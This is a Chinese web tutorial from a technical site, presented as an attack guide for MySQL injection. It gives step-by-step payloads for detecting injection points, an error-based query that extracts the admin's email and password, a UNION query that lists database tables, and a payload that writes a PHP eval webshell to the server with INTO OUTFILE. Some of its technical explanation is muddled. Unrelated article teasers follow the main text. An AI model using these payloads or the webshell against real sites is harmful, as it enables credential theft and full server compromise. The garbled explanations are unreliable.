MySQL注入中导出字段内容的研究通过注入导出WebShell

MySQL注入是指攻击者通过可写的输入源突破Web应用程序,从而访问或修改与该应用程序或其数据库相关的数据。其中,导出字段内容是一种常用的攻击方式,攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略:

攻略概述

  1. 找到目标站点;
  2. 判断目标站点是否存在注入点;
  3. 获取目标站点注入点所在位置;
  4. 利用注入点获取站点数据库信息;
  5. 通过注入获取站点敏感信息;
  6. 导出字段内容;
  7. 注入导出WebShell。

判断目标站点是否存在注入点

在对目标站点进行注入攻击之前,需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。

常用判断方式

报错注入

通过输入特定的SQL语句触发目标站点返回数据库错误信息。

' and 1=1 and '1'='2

如果目标站点返回错误信息,则说明存在注入点。

盲注

通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload:

and 1=1
and 1=2
and sleep(5)

如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果,则说明存在注入点。

Union注入

在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload:

and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users

如果目标站点在执行第二个Union语句的时候返回了密码信息,则说明存在注入点。

导出字段内容示例

示例1:获取管理员用户信息

假设目标站点存在SQL注入点,而我们想要获取站点管理员用户的信息,可以使用以下Payload:

and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

解释:

这段代码使用了MySQL查询表中的数据拼接成字符串的方法,在查询admin用户的email和password时,将两者使用特定符号“|||”连接起来。其中,floor(rand()*2)是为了随机生成0或1,目的是为了在进行Union注入的时候输出不同的结果,从而判断是否存在注入点。如果输出“|||”连接的字符串,则存在注入点。

示例2:获取站点数据库表

这个示例用于获取站点的数据库表,用到了MySQL的information_schema库。payload:

') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#

其中dbname为站点的数据库名,group_concat()函数用于将结果拼接为字符串而不是返回多行结果,从而避免后续的Union注入错误。

导出WebShell

如果在获取站点的敏感信息时成功得到了管理员的账户和密码,我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload:

' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#

其中,/path/to/webshell.php需要替换成站点的目录。在执行该语句后,会将WebShell代码写入到服务器指定的文件中,然后攻击者就可以通过该WebShell来访问站点的控制台了。

总之,网站开发者需要高度重视SQL注入的安全性,采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言,要有充足的攻击前期准备,以及对Web应用程序和SQL注入攻击的深刻理解。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL注入中导出字段内容的研究通过注入导出WebShell - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • MongoDB连接本地失败的原因及解决办法

    MongoDB是一款非常流行的开源数据库,它支持NoSQL的非关系型数据存储。在开发MongoDB应用程序时,我们需要连接到本地或远程MongoDB实例,以执行数据操作和查询。连接MongoDB存在连接失败的情况,本文将详细讲解“MongoDB连接本地失败的原因及解决办法”。 问题现象 在MongoDB应用开发过程中,我们会遇到连接本地MongoDB失败的情…

    database 2023年5月22日
    00
  • RDBMS和ORDBMS的区别

    RDBMS(关系型数据库管理系统)和ORDBMS(对象关系型数据库管理系统)都是数据库管理系统的一种。两者的本质区别在于,RDBMS是基于关系模型来管理数据的,而ORDBMS是基于关系模型和面向对象模型相结合来管理数据的。接下来,我们就对两者进行详细的比较。 RDBMS和ORDBMS的基本概念 RDBMS:RDBMS是关系型数据库管理系统的简称。它是一种数据…

    database 2023年3月27日
    00
  • 如何使用Python在MySQL中使用事务?

    以下是详细讲解如何使用Python在MySQL中使用事务的完整攻略,包括连接到MySQL、开始事务、执行SQL语句、提交事务和回滚事务等步骤。同时,还提供了两个示例来演示如何在Python中使用MySQL事务。 连接到MySQL 在使用Python执行MySQL事务之前,需要先连接到MySQL。可以使用以下代码连接到MySQL: import mysql.c…

    python 2023年5月12日
    00
  • 将phpstudy中的mysql迁移至Linux教程

    下面是将phpstudy中的mysql迁移至Linux的完整攻略。 步骤一:备份MySQL数据库 在迁移之前,我们需要先备份将要迁移的MySQL数据库。可以使用以下命令备份: mysqldump -u [username] -p [database_name] > [dump_file.sql] 其中,[username]为MySQL的用户名,[dat…

    database 2023年5月22日
    00
  • redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resource from the pool at redis.clients.util.Pool.getResource(Pool.java:53)

    解决方法1: 主要就是要去redis的配置文件中修改密码,修改完密码后记得重启redis。跟着作者的步骤走,可以完美解决! 解决方法2: 在配置文件中把password去除一样可以解决! 1.把redis配置文件中的password注释了 2.把spring-redis中的passwrod配置也注释了   参考:https://blog.csdn.net/i…

    Redis 2023年4月12日
    00
  • MySQL数据库存储过程和事务的区别讲解

    MySQL数据库存储过程和事务都是MySQL数据库的重要特性,但它们所起到的作用有所不同,下面详细讲解它们的区别。 一、MySQL存储过程 MySQL存储过程是指一组SQL语句的集合,这组SQL语句可以被存储在数据库中,并用一个名称来标识它。存储过程可用于简化复杂的SQL查询、优化性能、实现业务逻辑等。 1.1 存储过程的语法结构 MySQL存储过程的语法结…

    database 2023年5月22日
    00
  • MySQL使用集合函数进行查询操作实例详解

    MySQL使用集合函数进行查询操作实例详解 在MySQL中,可以使用集合函数对数据进行聚合计算。本文将详细讲解MySQL中使用集合函数进行查询操作的步骤和示例。 集合函数 MySQL中的集合函数主要包括以下几个: COUNT:统计行数 SUM:求和 AVG:求平均值 MAX:求最大值 MIN:求最小值 使用这些函数可以轻松地对数据进行聚合计算。 查询操作实例…

    database 2023年5月22日
    00
  • sql2005 create file遇到操作系统错误5拒绝访问 错误1802

    首先,根据错误信息,这是由于操作系统错误5(访问被拒绝)导致的。这通常是由于缺少适当的权限或目录/文件处于锁定状态所致。以下是解决此问题的一些步骤: 检查您是否具有足够的权限来创建所需的文件。请确保您正在使用的帐户具有足够的权限来执行此操作。您可以将其添加到本地管理员组或将其添加到SQL Server安装目录中的”SQLServer2005MSSQLUser…

    database 2023年5月21日
    00
合作推广
合作推广
分享本页
返回顶部